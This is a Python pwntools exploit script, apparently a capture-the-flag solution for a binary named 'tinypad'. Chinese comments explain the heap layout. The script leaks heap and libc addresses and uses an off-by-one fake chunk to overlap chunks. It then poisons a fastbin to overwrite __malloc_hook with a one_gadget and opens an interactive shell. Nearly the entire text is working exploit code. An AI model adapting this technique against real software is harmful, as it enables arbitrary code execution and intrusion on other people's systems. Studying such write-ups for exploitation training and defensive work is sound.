from pwn import *
import pdb
def add_memo(p, size, content):
p.recvuntil("(CMD)>>>")
p.sendline("A")
p.recvuntil("(SIZE)>>>")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>>")
p.sendline(content)
def delete_memo(p, idx):
p.recvuntil("(CMD)>>>")
p.sendline("D")
p.recvuntil("(INDEX)>>>")
p.sendline(str(idx))
def edit_memo(p, idx, content):
p.recvuntil("(CMD)>>>")
p.sendline("E")
p.recvuntil("(INDEX)>>>")
p.sendline(str(idx))
p.recvuntil("(CONTENT)>>>")
p.sendline(content)
p.recvuntil("(Y/n)>>>")
p.sendline("Y")
p = process("./tinypad")
add_memo(p, 0x60, "A" * 0x10)
add_memo(p, 0x60, "B" * 0x10)
add_memo(p, 0xf0, "C" * 0x10)
add_memo(p, 0x80, "D" * 0x10)
delete_memo(p, 3)
delete_memo(p, 2)
delete_memo(p, 1)
p.recvuntil("INDEX: 1")
p.recvuntil("CONTENT: ")
addr_heap = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
log.success("addr_heap: " + hex(addr_heap))
p.recvuntil("INDEX: 3")
p.recvuntil("CONTENT: ")
addr_unsorted_bin = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin))
addr_libc = addr_unsorted_bin - 0x3c4b78
log.success("addr_libc: " + hex(addr_libc))
addr_malloc_hook = addr_libc + 0x3C4B10
addr_fake_fastchunk = addr_malloc_hook - 0x23
one_gadget = addr_libc + 0xf1147
add_memo(p, 0xf0, "C" * 0x10)
add_memo(p, 0x60, p64(0) + p64(0xd0) + p64(addr_heap - 0x60) + p64(addr_heap - 0x60))
add_memo(p, 0x68, "B" * 0x60 + p64(0xd0))
'''此时堆从低地址到高地址的分布:
fake chunk -- AAAA ---- (index: 2)
用于执行off-by-one的chunk -- BBBB ---- (index: 3)
用于free的chunk -- CCCC ---- (index: 1)
靠top chunk的chunk -- DDDD ---- (index: 4)
'''
delete_memo(p, 1)
delete_memo(p, 3)
add_memo(p, 0x90, "E" * 0x50 + p64(0) + p64(0x71) + p64(addr_fake_fastchunk))
'''
因为最多只能有4个memo,这里需要删除一个,后面才能申请到两个memo
这里不能调delete_memo(p, 4), 因为要释放调这个靠top chunk的chunk,其会跟top chunk合并,下面的size变量会加上top chunk的大小,从而满足下面的条件
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);
...
}
就会调用到malloc_consolidate函数。而在这个函数里处理fastbin chunk时会调用到unlink,而unlink时会检查被unlink的chunk的size和prev_size,这个检查通不过。
'''
delete_memo(p, 1)
add_memo(p, 0x60, "F" * 0x10)
add_memo(p, 0x60, "X" * (addr_malloc_hook - addr_fake_fastchunk - 0x10) + p64(one_gadget))
delete_memo(p, 2)
p.recvuntil("(CMD)>>>")
p.sendline("A")
p.recvuntil("(SIZE)>>>")
p.sendline(str(0x10))
p.interactive()